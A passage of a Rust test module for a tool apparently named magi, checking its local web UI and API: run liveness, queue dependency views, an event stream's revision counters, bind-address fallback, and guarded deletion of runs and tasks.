7881 serde_json::to_string_pretty(&state).expect("serialize run"),
7882 )
7883 .expect("write run.json");
7884
7885 let detail = f.get(&format!("/api/runs/{id}")).await.json();
7886 assert_eq!(detail["live"], "live", "{detail}");
7887 }
7888
7889 #[tokio::test]
7895 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
7896 let f = Fixture::start().await;
7897 let id = "20260922-090100-dddd";
7898 let mut state = RunState::new(
7899 PathBuf::from("/repo/magi"),
7900 "main".to_owned(),
7901 "0123456789abcdef".to_owned(),
7902 "Review only".to_owned(),
7903 Config::default(),
7904 );
7905 state.id = id.to_owned();
7906 state.status = RunStatus::Reviewing;
7907 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
7908 state.driver_pid = Some(std::process::id());
7913 state.driver_started_at = Some("not-this-processes-real-start-time".to_owned());
7914 let dir = f.runs().join(id);
7915 std::fs::create_dir_all(&dir).expect("run dir");
7916 std::fs::write(
7917 dir.join("run.json"),
7918 serde_json::to_string_pretty(&state).expect("serialize run"),
7919 )
7920 .expect("write run.json");
7921
7922 let detail = f.get(&format!("/api/runs/{id}")).await.json();
7923 assert_eq!(detail["live"], "dead", "{detail}");
7924 }
7925
7926 #[test]
7930 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
7931 let mk = |id: &str, pid: Option<u32>| {
7932 let mut s = RunState::new(
7933 PathBuf::from("/repo/magi"),
7934 "main".to_owned(),
7935 "0123456789abcdef".to_owned(),
7936 "Add a web UI".to_owned(),
7937 Config::default(),
7938 );
7939 s.id = id.to_owned();
7940 s.driver_pid = pid;
7941 s.driver_started_at = Some("t0".to_owned());
7942 s
7943 };
7944 let states = vec![
7945 mk("20260902-140502-aaaa", Some(77)),
7946 mk("20260902-140502-bbbb", Some(77)),
7947 mk("20260902-140502-cccc", Some(77)),
7948 mk("20260902-140502-dddd", None),
7949 ];
7950 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
7951 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
7952 let sup: HashMap<String, String> = [(
7953 "20260902-140502-aaaa".to_owned(),
7954 "20260902-140502-cccc".to_owned(),
7955 )]
7956 .into();
7957
7958 let status_calls = std::cell::Cell::new(0);
7959 let identity_calls = std::cell::Cell::new(0);
7960 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
7961 |_| {
7962 status_calls.set(status_calls.get() + 1);
7963 Some(true)
7964 },
7965 |_| {
7966 identity_calls.set(identity_calls.get() + 1);
7967 Some("t0".to_owned())
7968 },
7969 ));
7970 let rows = summarize(
7971 states,
7972 &open,
7973 &claimed,
7974 &sup,
7975 |p| probe.borrow_mut().status(p),
7976 |p| probe.borrow_mut().started_at(p),
7977 );
7978
7979 assert_eq!(status_calls.get(), 1, "one pid, one status query");
7980 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
7981 assert_eq!(rows.len(), 4);
7982 assert!(!rows[0].waiting && rows[1].waiting);
7983 assert_eq!(rows[0].live, crate::run::Liveness::Live);
7984 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
7985 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
7986 assert_eq!(rows[1].superseded_by, None);
7987 }
7988
7989 #[test]
7990 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
7991 let mut state = RunState::new(
7992 PathBuf::from("/repo/magi"),
7993 "main".to_owned(),
7994 "0123456789abcdef".to_owned(),
7995 "Review only".to_owned(),
7996 Config::default(),
7997 );
7998 state.id = "20260922-090200-dead".to_owned();
7999 state.status = RunStatus::Reviewing;
8000 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
8001 .expect("serialize list row");
8002 assert_eq!(row["status"], "reviewing");
8003 assert_eq!(row["live"], "dead", "{row}");
8004 assert!(!row["done"].as_bool().unwrap());
8005 }
8006
8007 #[tokio::test]
8008 async fn the_run_list_is_newest_first_and_honours_a_limit() {
8009 let f = Fixture::start().await;
8010 for id in [
8011 "20260902-140501-aaaa",
8012 "20260902-140502-bbbb",
8013 "20260902-140503-cccc",
8014 ] {
8015 write_run(&f.runs(), id, RunStatus::Merged);
8016 }
8017
8018 let all = f.get("/api/runs").await.json();
8019 let capped = f.get("/api/runs?limit=2").await.json();
8020
8021 assert_eq!(all[0]["id"], "20260902-140503-cccc");
8022 assert_eq!(all.as_array().map(Vec::len), Some(3));
8023 assert_eq!(capped.as_array().map(Vec::len), Some(2));
8024 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
8025 }
8026
8027 #[tokio::test]
8028 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
8029 let f = Fixture::start().await;
8030 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
8031
8032 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
8033
8034 assert_eq!(res.status, 200);
8035 assert!(
8036 res.headers
8037 .contains("content-type: text/plain; charset=utf-8"),
8038 "a browser must render it, not download it: {}",
8039 res.headers
8040 );
8041 assert!(
8045 res.body.contains("20260902-140501-a1b2"),
8046 "the report is about the run that was asked for: {}",
8047 res.body
8048 );
8049 }
8050
8051 #[tokio::test]
8052 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
8053 let f = Fixture::start().await;
8054
8055 let html = f.get("/").await;
8056 let css = f.get("/app.css").await;
8057 let js = f.get("/app.js").await;
8058
8059 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
8060 assert!(
8061 html.headers
8062 .contains("content-type: text/html; charset=utf-8")
8063 );
8064 assert!(css.headers.contains("content-type: text/css"));
8065 assert!(js.headers.contains("content-type: text/javascript"));
8066 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
8067 }
8068
8069 #[test]
8070 fn review_rounds_label_a_distinct_verified_head() {
8071 assert!(APP_JS.contains("round.verified_head"));
8072 assert!(APP_JS.contains("verified HEAD"));
8073 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
8074 }
8075
8076 #[test]
8077 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
8078 assert!(APP_JS.contains("blocked: { glyph:"));
8082 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
8083
8084 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
8088 assert!(
8089 APP_JS.contains(
8090 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
8091 ),
8092 "the note line must name what a blocked task is waiting on, not just that it is blocked"
8093 );
8094 assert!(APP_JS.contains("if (status === \"blocked\") {"));
8098
8099 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
8103 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
8104 assert!(
8105 APP_JS.contains("location.hash = \"#/questions\";"),
8106 "a question node must jump to the Questions screen, not pretend to be a task"
8107 );
8108
8109 assert!(APP_JS.contains("Resolved questions"));
8112 assert!(APP_JS.contains("r.answersList.append("));
8113 assert!(APP_CSS.contains(".task-answers"));
8114 }
8115
8116 #[test]
8117 fn a_task_notification_links_to_its_own_card_not_the_bare_backlog() {
8118 assert!(
8123 APP_JS.contains(
8124 "el(\"a\", { href: `#/queue/${encodeURIComponent(link.id)}`, text: `Task ${shortId(link.id)}` })"
8125 ),
8126 "a task notice's link must carry the task id into the hash, not just name the Backlog screen"
8127 );
8128 assert!(
8129 !APP_JS.contains("el(\"a\", { href: \"#/queue\", text: `Task ${shortId(link.id)}` })"),
8130 "regression: the task link must not go back to naming the bare Backlog route"
8131 );
8132
8133 assert!(
8136 APP_JS.contains(
8137 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
8138 ),
8139 "`#/queue/<id>` must parse into a route carrying that id"
8140 );
8141
8142 assert!(APP_JS.contains("state.queueFocus = route.id;"));
8146 assert!(APP_JS.contains("function consumeQueueFocus()"));
8147 assert!(APP_JS.contains("jumpToTask(id);"));
8148 }
8149
8150 #[test]
8151 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
8152 assert!(
8161 APP_JS.contains(
8162 " if (!id || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
8163 ),
8164 "the search-clearing branch must run before state.queueFocus is cleared, or the \
8165 recursive renderQueue() call has nothing left to jump to"
8166 );
8167 assert!(
8168 APP_JS.contains("state.queueFocus = null;\n jumpToTask(id);"),
8169 "state.queueFocus must be cleared immediately before the jump it guards, not earlier"
8170 );
8171 }
8172
8173 #[test]
8174 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
8175 assert!(
8183 APP_JS.contains(
8184 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
8185 ),
8186 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
8187 );
8188 }
8189
8190 #[test]
8191 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
8192 assert!(
8193 APP_JS.contains("round.verified_head !== round.head"),
8194 "a round that verified an earlier commit must be visibly distinct from one that \
8195 verified the head reviewers are looking at now"
8196 );
8197 assert!(
8198 APP_JS.contains("round.verified_at"),
8199 "when a check ran must be on the wire, not just which commit"
8200 );
8201 assert!(
8202 APP_JS.contains("resource_blocked"),
8203 "a command magi never got to run (shared build cache contention) must not render \
8204 the same as a command that ran and failed"
8205 );
8206 }
8207
8208 #[tokio::test]
8209 async fn the_change_stream_announces_the_current_revisions_on_connect() {
8210 let f = Fixture::start().await;
8211
8212 let mut socket = tokio::net::TcpStream::connect(f.addr)
8213 .await
8214 .expect("connect");
8215 socket
8216 .write_all(
8217 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
8218 )
8219 .await
8220 .expect("write request");
8221
8222 let mut seen = String::new();
8225 let mut buf = [0u8; 1024];
8226 while !seen.contains("event: change") {
8227 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
8228 .await
8229 .expect("the stream must speak within five seconds")
8230 .expect("read");
8231 assert!(read > 0, "the server closed the change stream: {seen}");
8232 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
8233 }
8234
8235 assert!(
8236 seen.to_lowercase()
8237 .contains("content-type: text/event-stream"),
8238 "the browser only reconnects automatically for a real SSE stream: {seen}"
8239 );
8240 let data = seen
8241 .lines()
8242 .find_map(|l| l.strip_prefix("data:"))
8243 .expect("a data line");
8244 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
8245 assert!(
8246 payload["queue_rev"].is_u64()
8247 && payload["runs_rev"].is_u64()
8248 && payload["questions_rev"].is_u64()
8249 && payload["talks_rev"].is_u64()
8250 && payload["notifications_rev"].is_u64()
8251 && payload["loop_rev"].is_u64(),
8252 "the client needs one revision per store to know what to refetch, \
8253 and `talks_rev` is the only notification a standing talk gets - a \
8254 phone whose radio slept through a turn learns about it here, as \
8255 does one whose operator started the loop from another device: \
8256 {payload}"
8257 );
8258
8259 let health = f.get("/api/health").await.json();
8266 for key in [
8267 "queue_rev",
8268 "runs_rev",
8269 "questions_rev",
8270 "talks_rev",
8271 "notifications_rev",
8272 "loop_rev",
8273 ] {
8274 assert!(
8275 health[key].is_u64(),
8276 "health is the change stream's fallback and is missing `{key}`: {health}"
8277 );
8278 }
8279 }
8280
8281 #[tokio::test]
8282 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
8283 let f = Fixture::start().await;
8284 let before = f.get("/api/health").await.json()["talks_rev"]
8285 .as_u64()
8286 .expect("talks_rev");
8287
8288 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
8289 std::thread::sleep(Duration::from_millis(10));
8290 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
8291 on_disk.turns.push(crate::talk::Turn {
8292 who: crate::talk::Who::Operator,
8293 body: "a new turn".to_owned(),
8294 at: Timestamp::now(),
8295 attachments: Vec::new(),
8296 });
8297 f.talks().put(&mut on_disk).expect("record a turn");
8298
8299 let after = f.get("/api/health").await.json()["talks_rev"]
8300 .as_u64()
8301 .expect("talks_rev");
8302 assert_ne!(
8303 before, after,
8304 "a phone must be able to notice a talk's reply without polling every store"
8305 );
8306 }
8307
8308 #[test]
8309 fn bind_reads_back_from_the_spelling_the_cli_prints() {
8310 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
8314 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
8315 }
8316 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
8317 assert!("everywhere".parse::<Bind>().is_err());
8318 }
8319
8320 #[test]
8321 fn an_explicit_bind_address_is_taken_verbatim() {
8322 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
8323
8324 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
8325
8326 assert_eq!(addr, asked);
8327 assert!(
8328 warning.is_none(),
8329 "an operator who named an address gets no lecture"
8330 );
8331 }
8332
8333 #[test]
8334 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
8335 let (addr, warning) = resolve_bind(&Bind::Auto);
8336
8337 match addr {
8344 IpAddr::V4(ip) if is_tailnet(&ip) => {
8345 assert!(warning.is_none(), "a tailnet address needs no warning");
8346 }
8347 other => {
8348 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
8349 let warning = warning.expect("a fallback has to explain itself");
8350 assert!(
8351 warning.contains("127.0.0.1") && warning.contains("local-only"),
8352 "the warning says what happened and what it costs: {warning}"
8353 );
8354 }
8355 }
8356 }
8357
8358 #[test]
8359 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
8360 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
8364 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
8365 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
8366 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
8367 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
8368 }
8369
8370 #[test]
8371 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
8372 let ids = vec![
8373 "20260902-140501-aaaa".to_owned(),
8374 "20260902-140502-aabb".to_owned(),
8375 ];
8376
8377 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
8378 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
8379 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
8380
8381 assert_eq!(missing.status, StatusCode::NOT_FOUND);
8382 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
8383 assert_eq!(short, "20260902-140502-aabb");
8384 }
8385 #[tokio::test]
8386 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
8387 let fx = Fixture::start().await;
8393 let id = panel(
8394 &fx,
8395 "<img src=\"shot.png\">",
8396 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
8397 );
8398
8399 let doc = fx
8401 .get(&format!("/api/questions/{id}/panel/index.html"))
8402 .await;
8403 assert_eq!(doc.status, 200, "{}", doc.body);
8404 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
8405
8406 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
8407 assert_eq!(sibling.status, 200, "{}", sibling.body);
8408 assert_eq!(sibling.header("content-type"), Some("image/png"));
8409 assert_eq!(
8410 sibling.header("content-security-policy"),
8411 Some(PANEL_CSP),
8412 "the sibling route must carry the same policy as the asset route"
8413 );
8414
8415 assert_eq!(
8418 fx.head(&format!("/api/questions/{id}/panel")).await.status,
8419 200
8420 );
8421 }
8422
8423 #[test]
8424 fn runs_revision_moves_when_deleting_an_older_run() {
8425 let temp = TempDir::new().expect("tempdir");
8426 let runs = temp.path().join("runs");
8427 std::fs::create_dir_all(&runs).expect("create runs dir");
8428
8429 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
8430
8431 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
8432 std::thread::sleep(Duration::from_millis(10));
8433 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
8434
8435 let rev_before = runs_revision(&runs);
8436 assert!(rev_before > 0);
8437
8438 let old_dir = runs.join("20260901-100000-old1");
8439 std::fs::remove_dir_all(&old_dir).expect("remove old run");
8440
8441 let rev_after = runs_revision(&runs);
8442 assert_ne!(
8443 rev_before, rev_after,
8444 "deleting an older run must change the revision so other clients see the deletion"
8445 );
8446 }
8447
8448 fn write_state(runs: &FsPath, state: &RunState) {
8453 let dir = runs.join(&state.id);
8454 std::fs::create_dir_all(&dir).expect("run dir");
8455 std::fs::write(
8456 dir.join("run.json"),
8457 serde_json::to_string_pretty(state).expect("serialize run"),
8458 )
8459 .expect("write run.json");
8460 }
8461
8462 #[test]
8467 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
8468 let temp = TempDir::new().expect("tempdir");
8469 let runs = temp.path().join("runs");
8470 std::fs::create_dir_all(&runs).expect("create runs dir");
8471 let mut state = RunState::new(
8472 PathBuf::from("/repo/magi"),
8473 "main".to_owned(),
8474 "0123456789abcdef".to_owned(),
8475 "task".to_owned(),
8476 Config::default(),
8477 );
8478 state.id = "20260902-100000-c0de".to_owned();
8479 write_state(&runs, &state);
8480
8481 let rev_idle = runs_revision(&runs);
8482 std::thread::sleep(Duration::from_millis(10));
8483 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
8484 write_state(&runs, &state);
8485 let rev_started = runs_revision(&runs);
8486 assert_ne!(
8487 rev_idle, rev_started,
8488 "a seat starting must move the revision"
8489 );
8490
8491 std::thread::sleep(Duration::from_millis(10));
8492 state.seat_finished("judge-1");
8493 write_state(&runs, &state);
8494 let rev_finished = runs_revision(&runs);
8495 assert_ne!(
8496 rev_started, rev_finished,
8497 "and clearing it again must move the revision a second time"
8498 );
8499 }
8500
8501 #[tokio::test]
8502 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
8503 let fx = Fixture::start().await;
8508 let q = fx.queue();
8509
8510 let mut t = Task::new(
8511 "Task".to_owned(),
8512 "Instruction".to_owned(),
8513 PathBuf::from("/repo"),
8514 Source::Human,
8515 );
8516 t.block(
8517 vec!["20260101-000000-dead".to_owned()],
8518 Some("waiting on Task 1".to_owned()),
8519 );
8520 t.answers.push(crate::queue::AnsweredQuestion {
8521 question: "Which backend?".to_owned(),
8522 answer: "SQLite".to_owned(),
8523 });
8524 q.put(&mut t).expect("put t");
8525
8526 let res = fx.get("/api/queue").await;
8527 assert_eq!(res.status, 200);
8528 let list = res.json();
8529 let view = list
8530 .as_array()
8531 .expect("array")
8532 .iter()
8533 .find(|v| v["id"] == t.id)
8534 .expect("task in list");
8535 assert_eq!(view["status_str"], "blocked");
8536 assert_eq!(
8537 view["blocked_by"],
8538 serde_json::json!(["20260101-000000-dead"])
8539 );
8540 assert_eq!(view["block_reason"], "waiting on Task 1");
8541 assert_eq!(view["answers"][0]["question"], "Which backend?");
8542 assert_eq!(view["answers"][0]["answer"], "SQLite");
8543
8544 let res = fx
8548 .post(&format!("/api/queue/{}/hold", t.short()), None)
8549 .await;
8550 assert_eq!(res.status, 200);
8551 let held = res.json();
8552 assert_eq!(held["status_str"], "held");
8553 assert_eq!(held["blocked_by"], serde_json::json!([]));
8554 assert!(held["block_reason"].is_null());
8555 assert_eq!(held["answers"][0]["answer"], "SQLite");
8556 }
8557
8558 #[tokio::test]
8559 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
8560 let fx = Fixture::start().await;
8561 let q = fx.queue();
8562 let mk = |title: &str| {
8563 Task::new(
8564 title.to_owned(),
8565 "Instruction".to_owned(),
8566 PathBuf::from("/repo"),
8567 Source::Human,
8568 )
8569 };
8570 let mut root = mk("root");
8571 root.hold_manual(Some("waiting".to_owned()));
8572 q.put(&mut root).unwrap();
8573 let mut mid = mk("mid");
8574 mid.block(vec![root.id.clone()], None);
8575 q.put(&mut mid).unwrap();
8576 let mut leaf = mk("leaf");
8577 leaf.block(vec![mid.id.clone()], None);
8578 q.put(&mut leaf).unwrap();
8579
8580 let list = fx.get("/api/queue").await.json();
8581 let find = |id: &str| {
8582 list.as_array()
8583 .unwrap()
8584 .iter()
8585 .find(|v| v["id"] == id)
8586 .unwrap()
8587 .clone()
8588 };
8589 let leaf_view = find(&leaf.id);
8590 assert_eq!(
8591 leaf_view["waits_on"],
8592 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
8593 );
8594 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
8595 assert_eq!(
8596 find(&mid.id)["waits_on"],
8597 serde_json::json!([format!("{} (held)", root.short())])
8598 );
8599 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
8600 }
8601
8602 #[tokio::test]
8603 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
8604 let fx = Fixture::start().await;
8605 let q = fx.queue();
8606
8607 let mut t1 = Task::new(
8609 "Task 1".to_owned(),
8610 "Instruction 1".to_owned(),
8611 PathBuf::from("/repo"),
8612 Source::Human,
8613 );
8614 let run_id = "20260901-000000-r111";
8615 t1.runs.push(run_id.to_owned());
8616 write_run(&fx.runs(), run_id, RunStatus::Merged);
8617 q.put(&mut t1).expect("put t1");
8618
8619 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
8621 assert_eq!(res.status, 204);
8622 assert!(res.body.is_empty(), "204 No Content has no body");
8623 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
8624 assert!(
8625 fx.runs().join(run_id).exists(),
8626 "run directory must not be deleted when its task is deleted"
8627 );
8628
8629 let mut t2 = Task::new(
8631 "Task 2".to_owned(),
8632 "Instruction 2".to_owned(),
8633 PathBuf::from("/repo"),
8634 Source::Human,
8635 );
8636 t2.status = TaskStatus::Running;
8637 q.put(&mut t2).expect("put t2");
8638 let mut beat = crate::daemon::Status::new();
8639 beat.current = vec![crate::daemon::Current {
8640 task: t2.id.clone(),
8641 run: "20260901-000000-r222".to_owned(),
8642 }];
8643 beat.updated_at = jiff::Timestamp::now();
8644 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
8645 .expect("publish a heartbeat");
8646 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
8647 assert_eq!(res.status, 409);
8648 assert!(
8649 res.json()["error"]
8650 .as_str()
8651 .unwrap()
8652 .contains("live daemon")
8653 );
8654 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
8655
8656 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
8662 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
8663 .expect("leave a stale heartbeat");
8664 let mut t3 = Task::new(
8665 "Task 3".to_owned(),
8666 "Instruction 3".to_owned(),
8667 PathBuf::from("/repo"),
8668 Source::Human,
8669 );
8670 t3.status = TaskStatus::Running;
8671 q.put(&mut t3).expect("put t3");
8672 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
8673 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
8674 assert_eq!(res.status, 204);
8675 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
8676 assert!(
8677 q.claim(&t3.id).is_ok(),
8678 "the stale lock went with it, so the id is claimable again"
8679 );
8680
8681 let res = fx.delete("/api/queue/nonexistent").await;
8683 assert_eq!(res.status, 404);
8684 }
8685
8686 #[tokio::test]
8687 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
8688 let fx = Fixture::start().await;
8689 let runs = fx.runs();
8690
8691 let run_id = "20260901-000000-fold";
8693 let mut state = RunState::new(
8694 PathBuf::from("/repo"),
8695 "main".to_owned(),
8696 "abc".to_owned(),
8697 "instruction".to_owned(),
8698 Config::default(),
8699 );
8700 state.id = run_id.to_owned();
8701 state.status = RunStatus::Merged;
8702 state.candidates.push(crate::run::Candidate {
8703 index: 0,
8704 label: 'A',
8705 agent: "a".to_owned(),
8706 branch: "b".to_owned(),
8707 worktree: PathBuf::from("/w"),
8708 summary: String::new(),
8709 stat: String::new(),
8710 files: 1,
8711 commits: 1,
8712 empty: false,
8713 failed: None,
8714 verified_noop: None,
8715 duration_ms: 0,
8716 folded: true,
8717 });
8718 let dir = runs.join(run_id);
8719 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
8720 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
8721 .expect("write artifact");
8722 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
8723 .expect("write run.json");
8724
8725 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
8727 assert_eq!(res.status, 204);
8728 assert!(res.body.is_empty(), "204 has no body");
8729 assert!(!dir.exists(), "run directory and artifacts must be deleted");
8730
8731 let run_running = "20260901-000000-rung";
8736 write_run(&runs, run_running, RunStatus::Prep);
8737 let mut beat = crate::daemon::Status::new();
8738 beat.current = vec![crate::daemon::Current {
8739 task: "20260901-000000-task".to_owned(),
8740 run: run_running.to_owned(),
8741 }];
8742 beat.updated_at = jiff::Timestamp::now();
8743 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
8744 .expect("publish a heartbeat");
8745 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
8746 assert_eq!(res.status, 409);
8747 assert!(
8748 res.json()["error"]
8749 .as_str()
8750 .unwrap()
8751 .contains("live daemon"),
8752 "the refusal must say who is holding it"
8753 );
8754 assert!(
8755 runs.join(run_running).exists(),
8756 "a run in flight keeps its directory"
8757 );
8758
8759 let run_unfolded = "20260901-000000-unfd";
8761 let mut state2 = RunState::new(
8762 PathBuf::from("/repo"),
8763 "main".to_owned(),
8764 "abc".to_owned(),
8765 "instruction".to_owned(),
8766 Config::default(),
8767 );
8768 state2.id = run_unfolded.to_owned();
8769 state2.status = RunStatus::Ready;
8770 state2.candidates.push(crate::run::Candidate {
8771 index: 0,
8772 label: 'A',
8773 agent: "a".to_owned(),
8774 branch: "b".to_owned(),
8775 worktree: PathBuf::from("/w"),
8776 summary: String::new(),
8777 stat: String::new(),
8778 files: 1,
8779 commits: 1,
8780 empty: false,
8781 failed: None,
8782 verified_noop: None,
8783 duration_ms: 0,
8784 folded: false,
8785 });
8786 let dir2 = runs.join(run_unfolded);
8787 std::fs::create_dir_all(&dir2).expect("create dir2");
8788 std::fs::write(
8789 dir2.join("run.json"),
8790 serde_json::to_string(&state2).unwrap(),
8791 )
8792 .expect("write run.json");
8793
8794 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
8795 assert_eq!(res.status, 409);
8796 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
8797 assert!(dir2.exists(), "unfolded run directory is kept");
8798
8799 let res = fx.delete("/api/runs/nonexistent").await;
8801 assert_eq!(res.status, 404);
8802 }
8803
8804 #[test]
8813 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
8814 let start = APP_JS
8815 .find("function renderStats() {")
8816 .expect("renderStats");
8817 let end = start
8818 + APP_JS[start..]
8819 .find("function statsTile(")
8820 .expect("the next top-level function");
8821 let body = &APP_JS[start..end];
8822
8823 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
8824 let gate_end = gate_start
8825 + body[gate_start..]
8826 .find("}\n renderStatsQueue")
8827 .expect("the gate's own closing brace, right before the unconditional call");
8828 let gated = &body[gate_start..gate_end];
8829
8830 assert_eq!(
8831 body.matches("renderStatsQueue(").count(),
8832 1,
8833 "renderStats must call renderStatsQueue exactly once: {body}"
8834 );
8835 assert!(
8836 !gated.contains("renderStatsQueue"),
8837 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
8838 run-derived panels on an empty run history - the queue panel has to render \
8839 regardless: {gated}"
8840 );
8841 }
8842
8843 #[test]
8844 fn web_ui_delete_contract_in_front_end() {
8845 assert!(APP_JS.contains("deleteRun:"));
8847 assert!(APP_JS.contains("deleteTask:"));
8848
8849 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
8851 ..APP_JS.find("function renderRuns").unwrap()];
8852 assert!(!run_cards_slice.to_lowercase().contains("delete"));
8853
8854 assert!(APP_JS.contains("renderRunDelete"));
8856 assert!(APP_JS.contains("runDeleteReason"));
8857 assert!(APP_JS.contains("magi fold"));
8858 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
8859
8860 assert!(APP_JS.contains("cancel.focus"));
8862 assert!(APP_JS.contains("armedRunDelete"));
8863 assert!(APP_JS.contains("armedDelete"));
8864
8865 assert!(APP_JS.contains("disabled: status === \"running\""));
8867 }
8868
8869 #[test]
8889 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
8890 let build = APP_JS
8891 .find("function createRunCard")
8892 .expect("createRunCard exists");
8893 let update = APP_JS
8894 .find("function updateRunCard")
8895 .expect("updateRunCard exists");
8896 let end = APP_JS
8897 .find("function renderRuns")
8898 .expect("renderRuns exists");
8899
8900 let builder = &APP_JS[build..update];
8902 let open = builder.find("refs = {").expect("createRunCard sets refs");
8903 let literal = &builder[open + "refs = {".len()..];
8904 let close = literal.find('}').expect("the refs literal is closed");
8905 let published: HashSet<&str> = literal[..close]
8906 .split(',')
8907 .filter_map(|entry| entry.split(':').next())
8909 .map(str::trim)
8910 .filter(|name| !name.is_empty())
8911 .collect();
8912 assert!(
8913 published.len() > 5,
8914 "the refs literal did not parse into names: {published:?}"
8915 );
8916
8917 let mut used: Vec<&str> = Vec::new();
8920 let updaters = &APP_JS[update..end];
8921 for (at, _) in updaters.match_indices("r.") {
8922 let before = updaters[..at].chars().next_back();
8925 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
8926 continue;
8927 }
8928 let rest = &updaters[at + 2..];
